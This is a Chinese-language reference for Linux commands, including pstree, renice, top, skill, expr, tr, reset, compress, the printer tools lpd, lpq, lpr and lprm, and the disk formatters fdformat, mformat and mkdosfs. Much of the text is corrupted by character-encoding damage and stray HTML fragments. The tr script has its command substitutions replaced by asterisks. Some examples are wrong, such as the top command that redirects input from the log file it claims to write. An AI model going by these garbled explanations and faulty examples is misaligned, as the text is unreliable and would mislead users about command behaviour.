root 1 0.0 0.7 1096 472 ? S Sep10 0:03 init [3]
root 2 0.0 0.0 0 0 ? SW Sep10 0:00 [kflushd]
root 3 0.0 0.0 0 0 ? SW Sep10 0:00 [kpiod]
root 4 0.0 0.0 0 0 ? SW Sep10 0:00 [kswapd]
........
名称Qpstree
使用权限Q所有用?br />使用方式Q?br />pstree [-a] [-c] [-h|-Hpid] [-l] [-n] [-p] [-u] [-G|-U] [pid|user]
pstree -V
说明Q将所有行E以?wi)状图显C? ?wi)状囑ְ会(x)?pid (如果有指? 或是?init q个基本行程为根 (root) ,如果有指定用?id , 则树(wi)状图?x)只昄该用者所拥有的行E?br />参数Q?br />-a 昄该行E的完整指o(h)?qing)参? 如果是被记忆体置换出ȝ行程则会(x)加上括号
-c 如果有重覆的行程? 则分开列出 (预设值是?x)在前面加?*
范例Q?/p>
pstree
init-+-amd
|-apmd
|-atd
|-httpd---10*[httpd]
%pstree -p
init(1)-+-amd(447)
|-apmd(105)
|-atd(339)
%pstree -c
init-+-amd
|-apmd
|-atd
|-httpd-+-httpd
| |-httpd
| |-httpd
| |-httpd
....
名称Qrenice
使用权限Q所有用?/p>
使用方式Qrenice priority [[-p] pid ...] [[-g] pgrp ...] [[-u] user ...]
说明Q重新指定一个或多个行程(Process)的优先序(一个或多个根据所下的参数而定)
把计
-p pid 重新指定行程?id ?pid 的行E的优先?br />-g pgrp 重新指定行程组(process group)?id ?pgrp 的行E?(一个或多个) 的优先序
-u user 重新指定行程拥有者ؓ(f) user 的行E的优先?br />范例Q?br />行E?id ?987 ?32 的行E与行程拥有者ؓ(f) daemon ?root 的优先序L(fng)?1 :
renice +1 987 -u daemon root -p 32
注意 : 每一个行E?Process)都有一个唯一?(unique) id
名称Qtop
使用权限Q所有用?/p>
使用方式Qtop [-] [d delay] [q] [c] [S] [s] [n]
说明Q即时显C?process 的动?/p>
把计
d : 改变昄的更新速度Q或是在交谈式指令列( interactive command)?s
q : 没有M延迟的显C速度Q如果用者是?superuser 的权限,?top 会(x)以最高的优先序执?br />c : 切换昄模式Q共有两U模式,一是只昄执行档的名称Q另一U是昄完整的\径与名称S : 累积模式Q会(x)己完成或消q子行E?( dead child process ) ?CPU time 累积h
s : 安全模式Q将交谈式指令取? 避免潜在的危?br />i : 不显CZQ何闲|?(idle) 或无?(zombie) 的行E?br />n : 更新的次敎ͼ完成后将?x)退?top
b : Ҏ(gu)档模式,搭配 "n" 参数一起用,可以用来?top 的结果输出到档案?/p>
范例Q?br />昄更新十次后退?;
top -n 10
使用者将不能利用交谈式指令来对行E下命o(h) :
top -s
更新显CZơ的l果输入到名UCؓ(f) top.log 的档案里 :
top -n 2 -b < top.log
名称Qskill
使用权限Q所有用?/p>
使用方式Q?skill [signal to send] [options] 选择E序的规?/p>
说明Q?/p>
送个讯号l正在执行的E序,预设的讯息ؓ(f) TERM (中断) , 较常使用的讯息ؓ(f) HUP , INT , KILL , STOP , CONT ,?0
讯息有三U写?分别?-9 , -SIGKILL , -KILL , 可以使用 -l ?-L 已列出可使用的讯息?/p>
一般参敎ͼ(x)
-f 快速模?未完成
-i 互动模式/ 每个动作要被确?/p>
-v 详细输出/ 列出所选择E序的资?/p>
-w 警告讯息/ 未完成
-n 没有动作/ 昄E序代号
参数Q选择E序的规则可以是, l端Z?使用者名U?E序代号,命o(h)名称?/p>
-t l端Z?( tty ?pty )
-u 使用者名U?/p>
-p E序代号 ( pid )
-c 命o(h)名称 可用的讯号:
以下列出已知的讯号名U?讯号代号,功能?/p>
名称 (代号) 功能/ 描述
ALRM 14 d
HUP 1 d
INT 2 d
KILL 9 d/ 关闭
PIPE 13 d
POLL d
PROF d
TERM 15 d
USR1 d
USR2 d
VTALRM d
STKFLT d/ 只适用于i386, m68k, arm ?ppc 体
UNUSED d/ 只适用于i386, m68k, arm ?ppc 体
TSTP 停止 /产生与内容相关的行ؓ(f)
TTIN 停止 /产生与内容相关的行ؓ(f)
TTOU 停止 /产生与内容相关的行ؓ(f)
STOP 停止 /关闭
CONT 从新启动 /如果在停止状态则从新启动,否则忽略
PWR 忽略 /在某些系l中?x)离开
WINCH 忽略
CHLD 忽略
ABRT 6 核心
FPE 8 核心
ILL 4 核心
QUIT 3 核心
SEGV 11 核心
TRAP 5 核心
SYS 核心 /或许未实作
EMT 核心 /或许未实作
BUS 核心 /核心p|
XCPU 核心 /核心p|
XFSZ 核心 /核心p|
范例Q?/p>
停止所有在 PTY 装置上的E序
skill -KILL -v pts/*
停止三个使用?user1 , user2 , user3
skill -STOP user1 user2 user3
其他相关的命? kill
名称Qexpr
使用权限Q所有用?br />### 字串长度
shell>> expr length "this is a test"
14
### 数字商数
shell>> expr 14 % 9
5
### 从位|处抓取字串
shell>> expr substr "this is a test" 3 5
is is
### 数字?only the first character
shell>> expr index "testforthegame" e
2
### 字串真实重现
shell>> expr quote thisisatestformela
thisisatestformela
名称: tr
### 1.比方说要把目录下所有的大写档名换ؓ(f)写档名?
g有很多方式,"tr"是其中一U?
#!/bin/sh
dir="/tmp/testdir";
files=****find $dir -type f****;
for i in $files
do
dir_name=****dirname $i****;
ori_filename=****basename $i****
new_filename=****echo $ori_filename | tr [:upper:] [:lower:]**** > /dev/null;
#echo $new_filename;
mv $dir_name/$ori_filename $dir_name/$new_filename
done
### 2.自己试验?..lowercase to uppercase
tr abcdef...[del] ABCDE...[del]
tr a-z A-Z
tr [:lower:] [:upper:]
shell>> echo "this is a test" | tr a-z A-Z > www
shell>> cat www
THIS IS A TEST
### 3.L不想要的字串
shell>> tr -d this ### L有关 t.e.s.t
this
man
man
test
e
### 4.取代字串
shell>> tr -s "this" "TEST"
this
TEST
th
TE
指o(h)Qclear
用途:(x)清除萤幕用?/p>
使用Ҏ(gu)Q在 console 上输?clear?/p>
名称: reset, tset
使用Ҏ(gu): tset [-IQqrs] [-] [-e ch] [-i ch] [-k ch] [-m mapping] [terminal]
使用说明:
reset 其实?tset 是一同个命o(h)Q它的用途是讑֮l端机的状态。一般而言Q这个命令会(x)自动的从环境变数、命令列或是其它的组态档军_目前l端机的型态。如果指定型态是 ? 的话Q这个程式会(x)要求使用者输入终端机的型别?/p>
׃q个E式?x)将l端回原始的状态,除了?login 时用外Q当pȝl端机因为程式不正常执行而进入一些奇怪的状态时Q你也可以用它来重设l端机o 例如不小心把二进位档?cat 指o(h)q到l端机,怼(x)有终端机不再回应键盘输入Q或是回应一些奇怪字元的问题。此时就可以?reset 终端机回复臛_始状态。选项说明:
-p
终端机cd昄在萤q上Q但不做讑֮的动作。这个命令可以用来取得目前终端机的类别?br />-e ch
?erase 字元设成 ch
-i ch
中断字元设?ch
-k ch
删除一行的字元设成 ch
-I
不要做设定的动作Q如果没有用选项 -Q 的话Qerase、中断及(qing)删除字元的目前g然会(x)送到萤幕上?br />-Q
不要昄 erase、中断及(qing)删除字元的值到萤幕上?br />-r
终端机cd印在萤幕上?br />-s
设?TERM 用的命o(h)用字串的型式送到l端ZQ通常?.login ?.profile 中用
范例:
让用者输入一个终端机型别q将l端到该型别的预讄态?br /># reset ?
?erase 字元讑֮ control-h
# reset -e ^B
设定用的字串显C在萤幕?br /># reset -s
Erase is control-B (^B).
Kill is control-U (^U).
Interrupt is control-C (^C).
TERM=xterm;
名称Qcompress
使用权限Q所有用?/p>
使用方式Qcompress [-dfvcV] [-b maxbits] [file ...]
说明Q?br />compress 是一个相当古老的 unix 档案压羃指o(h)Q压~后的档案会(x)加上一?.Z 延档名以区别未压羃的档案,压羃后的档案可以?uncompress 解压。若要将C档案压成一个压~档Q必d档?tar h再压~。由?gzip 可以产生更理想的压羃比例Q一般h多已改用 gzip 为档案压~工兗?/p>
参数Q?br />c 输出l果x准输备(一般指荧幕Q?br />f 写入档案Q若目的档已l存在,则会(x)被覆?(force)
v 程式执行的讯息印在荧幕?(verbose)
b 讑֮共同字串数的上限Q以位元计算Q可以设定的gؓ(f) 9 ?16 bits 。由于D大,能用的共同字串p多,压羃比例p大,所以一般用预讑ր?16 bits (bits)
d 压~档解压~?br />V 列出版本讯息
范例Q?/p>
?source.dat 压羃?source.dat.Z Q若 source.dat.Z 已经存在Q内容则?x)被压羃档覆盖?/p>
compress -f source.dat
?source.dat 压羃?source.dat.Z Qƈ列印出压~比例?br />-v ?-f 可以一起?/p>
compress -vf source.dat
压~后的资料输出后再导?target.dat.Z 可以改变压羃档名?/p>
compress -c source.dat > target.dat.Z
-b 的D大,压羃比例p大,范围?9-16 Q预讑ր是 16 ?/p>
compress -b 12 source.dat
?source.dat.Z 解压?source.dat Q若档案已经存在Q用者按 y 以确定覆盖档案,若?-df E式则会(x)自动覆盖档案。由于系l会(x)自动加入 .Z 为g伸档名,所?source.dat ?x)自动当?source.dat.Z 处理?/p>
compress -d source.dat
compress -d source.dat.Z
名称Q?lpd
使用权限Q?所有用?/p>
使用方式Qlpd [-l] [#port]
lpd 是一个常ȝ印表机管理程式,它会(x)Ҏ(gu) /etc/printcap 的内Ҏ(gu)理本地或远端的印表机?etc/printcap 中定义的每一个印表机必须?/var/lpd 中有一个相对应的目录,目录中以 cf 开头的档案表示一个等待送到适当装置的印表工作。这个档案通常是由 lpr 所产生?/p>
lpr ?lpd l成了一个可以离U工作的pȝQ当你?lpr Ӟ印表Z需要能立即可用Q甚至不用存在。lpd ?x)自动监视印表机的状况,当印表机上线后,便立卛_档案送交处理。这个得所有的应用E式不必{待印表机完成前一工作?/p>
参数Q?/p>
-l: 一些除错讯息显C在标准输出上?br />#port: 一般而言Qlpd ?x)?getservbyname 取得适当?TCP/IP portQ你可以使用q个参数 lpd 使用指定?port?/p>
范例Q?br />q个E式通常是由 /etc/rc.d 中的E式在系l启始阶D|行?/p>
名称 lpq
-- 昄列表列中未完成的工作 用法
lpq [l]
[user]
说明
lpq ?x)显C由 lpd 所理的列表机贮列中未完成的项目?/p>
范例
范例 1. 昄所有在 lp 列表列中的工?/p>
# lpq -PlpRank Owner Job Files Total Size1st root 238 (standard input) 1428646 bytes
相关函数
lpr,lpc,lpd
名称Q?lpr
使用权限Q?所有用?/p>
使用方式Qlpr [ -P printer ]
档案或是由标准输入送进来的资料送到印表列之中,印表机管理程?lpd ?x)在E后这个档案送给适当的程式或装置处理。lpr 可以用来料资送给本地或是q端的主机来处理?/p>
参数Q?/p>
-p Printer: 资料送至指定的印表机 PrinterQ预讑րgؓ(f) lp?/p>
范例Q?br />?www.c ?kkk.c 送到印表?lp?br />lpr -Plp www.c kkk.c
名称: lprm
-- 一个工作由印表列中U除 用法
/usr/bin/lprm
[file...]
说明
未完成的印表机工作?x)被攑֜印表列之中,q个命o(h)可用来将常未送到印表机的工作取消。由于每一个印表机都有一个独立的贮列Q你可以?-P q个命o(h)讑֮惌作用的印列机。如果没有设定的话,?x)用系l预讄印表机?/p>
q个命o(h)?x)检查用者是否有_的权限删除指定的档案Q一般而言Q只有档案的拥有者或是系l管理员才有q个权限?/p>
范例
印表机 hpprinter 中的W?1123 号工作移?/p>
lprm -Phpprinter 1123
第 1011 号工作由预设印表ZU除
lprm 1011
名称Q?fdformat
使用权限Q?所有用?/p>
使用方式Qfdformat [-n] device
使用说明 :
Ҏ(gu)定的软碟|进行低阶格式化。用这个指令对软碟格式化的时候,最好指定像是下面的装置Q?/p>
/dev/fd0d360 碟?A: Q磁片ؓ(f) 360KB 碟
/dev/fd0h1440 碟?A: Q磁片ؓ(f) 1.4MB 碟
/dev/fd1h1200 碟?B: Q磁片ؓ(f) 1.2MB 碟
如果使用像是 /dev/fd0 之类的装|,如果里面的磁不是标准容量,格式化可能会(x)p|。在q种情况之下Q用者可以用 setfdprm 指o(h)先行指定必要参数?/p>
参数Q?/p>
-n 关闭认功能。这个选项?x)关闭格式化之后的确认步骤?/p>
范例Q?/p>
fdformat -n /dev/fd0h1440
磁机 A 的磁片格式化?1.4MB 的磁片。ƈ且省略确认的步骤?/p>
名称Q?mformat
使用权限Q?所有用?/p>
使用方式Q?/p>
mformat [-t cylinders] [-h heads] [-s sectors] [-l volume_label] [-F] [-I fsVer-sion] [-S sizecode] [-2 sectors_on_track_0] [-M software_sector_size] [-a] [-X] [-C] [-H hidden_sectors] [-r root_sectors] [-B boot_sector] [-0 rate_on_track_0] [-A rate_on_other_tracks] [-1] [-k] drive:
在已l做q低阶格式化的磁片上建立 DOS 档案pȝ。如果在~译 mtools 的时候把 USE_2M 的参数打开Q部分与 2M 格式相关的参数就?x)发生作用。否则这些参敎ͼ像是 S,2,1,MQ不?x)发生作用?/p>
参数Q?/p>
-t 柱QsynliderQ数
-h 头QheadQ数
-s 每一轨的磁区数
-l 标签
-F 磁格式化?FAT32 格式Q不q这个参数还在实验中?br />-I 讑֮ FAT32 中的版本受这当然也还在实验中?br />-S 区大小代码Q计方式ؓ(f) sector = 2^(大小代码+7)
-c 丛QclusterQ的区数。如果所l定的数字会(x)D丛数超q?FAT 表的限制Qmformat ?x)自动放大磁区数?br />-s
-M 软体区大小。这个数字就是系l回报的区大小。通常是和实际的大相同?br />-a 如果加上q个参数Qmformat ?x)生一l?Atari pȝ的序L(fng)q块软碟?br />-X Y格式化?XDF 格式。用前必须先用 xdfcopy 指o(h)对Y作低阶格式化的动作?br />-C 产生一个可以安?MS-DOS 档案pȝ的磁媄像档Qdisk imageQ。当然对一个实体磁机下这个参数是没有意义的?br />-H 隐藏区的数目。这通常适用在格式化碟的分割区Ӟ因ؓ(f)通常一个分割区的前面还有分割表。这个参数未l测试,能不用就不用?br />-n 碟序号
-r 根目录的大小Q单位是区数。这个参数只?FAT12 ?FAT16 有效?br />-B 使用所指定的档案或是设备的开机磁区做片磁片或分割区的开机磁区。当然当中的体参数?x)随之更动?br />-k 量保持原有的开机磁区?br />-0 W?0 轨的资料传输?br />-A W?0 轨以外的资料传输?br />-2 使用 2m 格式
-1 不?2m 格式
范例Q?br />mformat a:
q样?x)用预设值把 a: Q就?/dev/fd0Q里的磁片格式化?/p>
名称Q?mkdosfs
使用权限Q?所有用?/p>
使用方式Q?mkdosfs [ -c | -l filename ]
[ -f number_of_FATs ]
[ -F FAT_size ]
[ -i volume_id ]
[ -m message_file ]
[ -n volume_name ]
[ -r root_dir_entry ]
[ -s sector_per_cluster ]
[ -v ]
device
[ block_count ]
说明Q?建立 DOS 档案pȝ?device 指你惌建立 DOS 档案pȝ的装|代受像?/dev/hda1 {等?block_count 则是你希望配|的区块数。如?block_count 没有指定则系l会(x)自动替你计算W合该装|大的区块数?/p>
参数Q?/p>
-c 建立档案pȝ之前先检查是否有坏轨?br />-l 从得定的档案中读取坏轨记录?br />-f 指定档案配置表(F(tun)AT , File Allocation Table)的数量。预讑րgؓ(f) 2 。目?Linux ?FAT 档案pȝ不支援超q?2 ?FAT 表。通常q个不需要改?br />-F 指定 FAT 表的大小Q通常?12 或是 16 个位元组?2 位元l通常用于碟片,16 位元l用于一般硬的分割区,也就是所谓的 FAT16 格式。这个值通常pȝ?x)自己选定适当的倹{在碟片上?FAT16 通常不会(x)发生作用Q反之在碟上用 FAT12 亦然?br />-i 指定 Volume ID。一般是一?4 个位元组的数字,像是 2e203a47 。如果不l系l会(x)自己产生?br />-m 当用者试囄q片片或是分割区开机,而上面没有作业系l时Q系l会(x)l用者一D警告讯息。这个参数就是用来变更这个讯息的。你可以先用档案~辑好,然后用这个参数指定,或是?br />-m -
q样pȝ?x)要求你直接输入q段文字。要特别注意的是Q档案里的字串长度不要超q?418 个字Q包括展开的蟩栏符PTABQ和换行W号Q换行符号在 DOS 底下两个字元!Q?br />-n 指定 Volume NameQ就是磁标{。如同在 DOS 底下?format 指o(h)一Pl不l都可以。没有预讑ր{?br />-r 指定根目录底下的最大档案数。这里所谓的档案数包括目录。预讑ր是在Y上?112 或是 224 Q在碟上是 512。没事不要改q个数字?br />-s 每一个磁丛(clusterQ的区数。必L 2 的次Ҏ(gu)。不q除非你知道你在作什么,q个g要ؕl?br />-v 提供额外的讯?/p>
范例Q?br />mkdosfs -n Tester /dev/fd0 ?A 槽里的磁片格式化ؓ(f) DOS 格式Qƈ标{设?Tester